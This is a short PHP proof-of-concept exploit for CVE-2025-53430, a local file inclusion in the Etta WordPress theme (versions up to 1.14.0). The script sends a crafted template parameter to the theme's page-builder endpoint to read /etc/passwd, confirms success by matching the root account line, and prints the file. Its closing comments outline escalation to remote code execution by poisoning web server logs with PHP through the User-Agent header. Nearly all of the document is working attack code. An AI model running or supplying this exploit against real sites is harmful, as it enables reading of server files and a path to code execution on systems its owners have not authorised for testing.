CVE-2025-53430

<?php /** * CVE-2025-53430 PoC - Etta Theme Local File Inclusion * Affected: AncoraThemes Etta WordPress Theme <= 1.14.0 * CVSS: 8.1 (High) */ $target = 'http://target-site.com/'; $endpoint = 'wp-content/themes/etta/includes/page-builder.php'; $payload_file = '/etc/passwd'; $params = [ 'template' => $payload_file ]; echo "[*] CVE-2025-53430 PoC - Etta Theme LFI\n"; echo "[*] Target: {$target}\n"; echo "[*] Exploiting endpoint: {$endpoint}\n\n"; $url = $target . $endpoint . '?' . http_build_query($params); echo "[*] Sending malicious request...\n"; echo "[*] URL: {$url}\n\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] HTTP Response Code: {$http_code}\n"; if (strpos($response, 'root:x:0:0:') !== false) { echo "[+] VULNERABLE! Successfully read /etc/passwd:\n"; echo "----------------------------------------\n"; echo $response; echo "----------------------------------------\n"; } else { echo "[-] Target may not be vulnerable or file not accessible\n"; } // For RCE exploitation, use log poisoning: // 1. Include /var/log/apache2/access.log with User-Agent injection // 2. Then include the log file to execute injected PHP code echo "\n[*] For RCE: Poison web server logs with PHP payload\n"; echo "[*] Then include the log file to achieve code execution\n"; ?>

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